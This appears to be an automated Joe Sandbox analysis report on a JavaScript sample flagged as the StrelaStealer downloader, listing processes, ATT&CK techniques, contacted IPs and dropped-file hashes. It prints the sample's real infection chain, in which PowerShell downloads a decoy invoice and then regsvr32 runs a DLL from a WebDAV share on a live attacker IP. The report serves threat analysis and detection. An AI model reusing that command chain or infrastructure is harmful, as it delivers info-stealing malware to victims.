Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
166452923276113028.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
166452923276113028.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/d	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/l/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.3128722968.000002386D200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/l/	net.exe, 00000006.00000003.1898635918.000001E7F3D64000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1899530280.000001E7F3D65000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898490494.000001E7F3D5E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/d	net.exe, 00000006.00000002.1899396595.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898535333.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.10.dr, qmgr.db.10.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 0000000A.00000003.1923279744.000002386D292000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1899396595.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1898993505.000001E7F3D08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898535333.000001E7F3D32000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1899396595.000001E7F3D32000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898535333.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000000A.00000003.1923279744.000002386D292000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588624
Start date and time:	2025-01-11 03:21:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	166452923276113028.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.16.168.107, 2.16.168.105, 184.28.88.176, 162.159.61.3, 172.64.41.3, 23.209.209.135, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 2.23.242.162, 184.28.90.27, 52.149.20.212, 173.222.162.32, 52.6.155.20, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:22:50	API Interceptor	25x Sleep call for process: powershell.exe modified
21:22:54	API Interceptor	1x Sleep call for process: net.exe modified
21:22:56	API Interceptor	2x Sleep call for process: svchost.exe modified
21:23:03	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1055116600916029869.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073489207195212
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrD:KooCEYhgYEL0In
MD5:	7C79786DFBE7D453ABD85667B532ECA7
SHA1:	C2FE8B768285E491D33A3B86C6B91944E09F6827
SHA-256:	D743039FBB0E075AEE8C6BA685B74034ED26F7B3352A3BE553612115933693F1
SHA-512:	45B9996D2ED4C6E515E7E9CD87B1249A6A2D55E70ED78307E9C74D9444A61F6059D12C06C0918095A50D244B712D1BFC0B53AD6027F0C787686E6BE3EF4B8E3F
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc4b7aed8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215130499409415
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	15585C58048BFD7544CE3EBB3ECB1A56
SHA1:	D20D4F85A390B1504EA239CD4B908BD49FB42413
SHA-256:	6A0EBCA781FBF3A5019F4DFA02D6443989B8CBD03432C290ADD871B7BAF336A6
SHA-512:	076E10A8A623D0738BCC08B1B8E02C556E485755EEA045A068B574BA1DA65563AD47C3729618CEDAC040995689F3BA5BB0E395859EFD8D65D3ECA3789A289C66
Malicious:	false
Preview:	...... .......A.......X\...;...{......................0.!..........{A.:....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................I...:....}...................v:....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07688828236553058
Encrypted:	false
SSDEEP:	3:IlEYeorkjn13a/y6LMy/allcVO/lnlZMxZNQl:HzN53qyiGOewk
MD5:	BA81EBDA7B5C35715BD26F62E47272C9
SHA1:	0B3FD186509CD22A70BD7E450D1C5913E7DED045
SHA-256:	46836A999A3042C45C0376ACF0CF2C9F747E908CB0185D99D606DE890384D8C3
SHA-512:	1E2AB24B5C2720B8603A9DEE1C663A9FB740A46B617BABA559C6B33D44DD7AE56335FA8FF64B9FC8AF0F2E09F20FABDD6A667EDDDF47DBAB408D0CABD8F03F4D
Malicious:	false
Preview:	...t.....................................;...{..:....}.......{A..............{A......{A..........{A].................v:....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.194942438494965
Encrypted:	false
SSDEEP:	6:iO4q23+q2Pwkn2nKuAl9OmbnIFUtSq75Zmwsq7tVkwOwkn2nKuAl9OmbjLJ:7hvYfHAahFUtX5/NT5JfHAaSJ
MD5:	696176A91EE35C33042D0493CA424444
SHA1:	46CD4225EDFBC58E294D8A7A619BEDC9198C8F60
SHA-256:	B84A57153806CFB070442E53977F97A25102FC397D6BCBAAAD6E3D2728CB517A
SHA-512:	FBD1B7B8901D608A0EEB0F9D42CF7D2AF5FE98DD37F48EE6D40FB40163F4C527B4E62BE7258D3F394F852AACA666B34F687B4412F7CFA2E77B7058882E4FE765
Malicious:	false
Preview:	2025/01/10-21:22:56.322 1548 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:22:56.345 1548 Recovering log #3.2025/01/10-21:22:56.345 1548 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.194942438494965
Encrypted:	false
SSDEEP:	6:iO4q23+q2Pwkn2nKuAl9OmbnIFUtSq75Zmwsq7tVkwOwkn2nKuAl9OmbjLJ:7hvYfHAahFUtX5/NT5JfHAaSJ
MD5:	696176A91EE35C33042D0493CA424444
SHA1:	46CD4225EDFBC58E294D8A7A619BEDC9198C8F60
SHA-256:	B84A57153806CFB070442E53977F97A25102FC397D6BCBAAAD6E3D2728CB517A
SHA-512:	FBD1B7B8901D608A0EEB0F9D42CF7D2AF5FE98DD37F48EE6D40FB40163F4C527B4E62BE7258D3F394F852AACA666B34F687B4412F7CFA2E77B7058882E4FE765
Malicious:	false
Preview:	2025/01/10-21:22:56.322 1548 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:22:56.345 1548 Recovering log #3.2025/01/10-21:22:56.345 1548 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.133238609725858
Encrypted:	false
SSDEEP:	6:iO4qqUGEIq2Pwkn2nKuAl9Ombzo2jMGIFUtSq4AZmwsqYzkwOwkn2nKuAl9Ombzz:7JkvYfHAa8uFUt8A/+z5JfHAa8RJ
MD5:	896B5FA0BD4AEBE7CAB757A821BC35E9
SHA1:	D02CC51D2D032758419B9A60065C83826803F944
SHA-256:	16C1ECF3973274C1EF1150CE4862E5FB6FAC07AB6D8FC4CF1C2F8117FA0451C9
SHA-512:	FB50021B6BD7AFAD597CD9A8EDFE1F9E768E0CDD46A118338FDE7673D420C61E5BAC2DD3E623906A23CB19527EA21ED20C8BFE5AAAE958DDB4075354AD595A42
Malicious:	false
Preview:	2025/01/10-21:22:56.342 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:22:56.344 1c10 Recovering log #3.2025/01/10-21:22:56.345 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.133238609725858
Encrypted:	false
SSDEEP:	6:iO4qqUGEIq2Pwkn2nKuAl9Ombzo2jMGIFUtSq4AZmwsqYzkwOwkn2nKuAl9Ombzz:7JkvYfHAa8uFUt8A/+z5JfHAa8RJ
MD5:	896B5FA0BD4AEBE7CAB757A821BC35E9
SHA1:	D02CC51D2D032758419B9A60065C83826803F944
SHA-256:	16C1ECF3973274C1EF1150CE4862E5FB6FAC07AB6D8FC4CF1C2F8117FA0451C9
SHA-512:	FB50021B6BD7AFAD597CD9A8EDFE1F9E768E0CDD46A118338FDE7673D420C61E5BAC2DD3E623906A23CB19527EA21ED20C8BFE5AAAE958DDB4075354AD595A42
Malicious:	false
Preview:	2025/01/10-21:22:56.342 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:22:56.344 1c10 Recovering log #3.2025/01/10-21:22:56.345 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\818c6bd5-0167-47ea-beb7-35c19b53beb1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964185897048236
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTphsBdOg2HtuPcaq3QYiubInP7E4T3y:Y2sRdsmwdMHv3QYhbG7nby
MD5:	960F04C019FFDEF2EDAFEA179316FF61
SHA1:	F210B91E3CE22E39556FB61E138A67A6BE24FAF4
SHA-256:	1CE0938BB0A5BB32584094427F544C1A66FB4D341DF6946896748F958286FE91
SHA-512:	74421418797AF4B1CB9A3CE097C27C576E08436E8A64C24D47CB9F706E85849A3DC5E2E96471A9771D0A11A8E944FC96DA6B14839166CAD085CAFE7876290C12
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122186025204","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":277844},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964185897048236
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTphsBdOg2HtuPcaq3QYiubInP7E4T3y:Y2sRdsmwdMHv3QYhbG7nby
MD5:	960F04C019FFDEF2EDAFEA179316FF61
SHA1:	F210B91E3CE22E39556FB61E138A67A6BE24FAF4
SHA-256:	1CE0938BB0A5BB32584094427F544C1A66FB4D341DF6946896748F958286FE91
SHA-512:	74421418797AF4B1CB9A3CE097C27C576E08436E8A64C24D47CB9F706E85849A3DC5E2E96471A9771D0A11A8E944FC96DA6B14839166CAD085CAFE7876290C12
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122186025204","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":277844},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.2592357393638
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7SvN8:etJCV4FiN/jTN/2r8Mta02fEhgO73go9
MD5:	34E4B688F83B8A26C0DA12A56CBDA2EC
SHA1:	41157D9792F6AB57E81BBCA7A03C0AD70BF69B2C
SHA-256:	17821E9778F6B316A28BFCC4DF96BF483A487BD16895AFFF2B3C5A7CFAC4E74C
SHA-512:	A0AED15938206BC846703EFD68BF57B6C5698A51D9419429D99767AB97BBE09C79366A5BC30DC188F5DA53BBD750657259D83F96D245C92D7640163BE3042DE4
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.129935418975436
Encrypted:	false
SSDEEP:	6:iO4qDOq2Pwkn2nKuAl9OmbzNMxIFUtSqRhZmwsqQkwOwkn2nKuAl9OmbzNMFLJ:75OvYfHAa8jFUtNh/25JfHAa84J
MD5:	1E374A58A0141A464E3D06A2183A5F8B
SHA1:	827FAB0131A81F5A755A32E9D1CE1ED039361FFC
SHA-256:	1859A4FDB0CC390535704CF9D5B122DF40F11C9A39D348F62341D60BE0822B9D
SHA-512:	AA88520C3C3F56E265CB4C2C847A508EDE7EA9F6ED2B0DD8462AAD651C53DD8CB88AA6AE57FD78EB85DFB7C491F83D7E020286A8B1A122DD2B8DBADC9728D32B
Malicious:	false
Preview:	2025/01/10-21:22:57.143 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:22:57.176 1c10 Recovering log #3.2025/01/10-21:22:57.191 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.129935418975436
Encrypted:	false
SSDEEP:	6:iO4qDOq2Pwkn2nKuAl9OmbzNMxIFUtSqRhZmwsqQkwOwkn2nKuAl9OmbzNMFLJ:75OvYfHAa8jFUtNh/25JfHAa84J
MD5:	1E374A58A0141A464E3D06A2183A5F8B
SHA1:	827FAB0131A81F5A755A32E9D1CE1ED039361FFC
SHA-256:	1859A4FDB0CC390535704CF9D5B122DF40F11C9A39D348F62341D60BE0822B9D
SHA-512:	AA88520C3C3F56E265CB4C2C847A508EDE7EA9F6ED2B0DD8462AAD651C53DD8CB88AA6AE57FD78EB85DFB7C491F83D7E020286A8B1A122DD2B8DBADC9728D32B
Malicious:	false
Preview:	2025/01/10-21:22:57.143 1c10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:22:57.176 1c10 Recovering log #3.2025/01/10-21:22:57.191 1c10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444747042926503
Encrypted:	false
SSDEEP:	384:yezci5tgiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r3s3OazzU89UTTgUL
MD5:	5917D5393593D38486DB0938E8B232AB
SHA1:	11E86D08E9353BBA22555D85C5763B2D35EEBB91
SHA-256:	B55C66576A870115B244D15A1E53FFEF465F85714FB2D83B87B32B8FFD0BB837
SHA-512:	FE1BA0216B2EFB52E82038D800010CCD6FD23B62E35394DC4E10729A010B0DD7515F3303EA856E2A7697DD0769555FDA442765E9A780B3454C5638FEE3E0E2E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.773830141622385
Encrypted:	false
SSDEEP:	48:7Mfp/E2ioyV4ioy9oWoy1Cwoy1kKOioy1noy1AYoy1Wioy1hioybioyKoy1noy1M:7Ipju4FfXKQbhb9IVXEBodRBkm
MD5:	4AA2387B0247B6443E0D36CC3B0CFC2F
SHA1:	E9967C562889BA6D3C5163575AEC5EF4068F1C83
SHA-256:	271894403D68BAB091754A030D6180EB45789C31F9C8A136B7F30C1E1DEE3E10
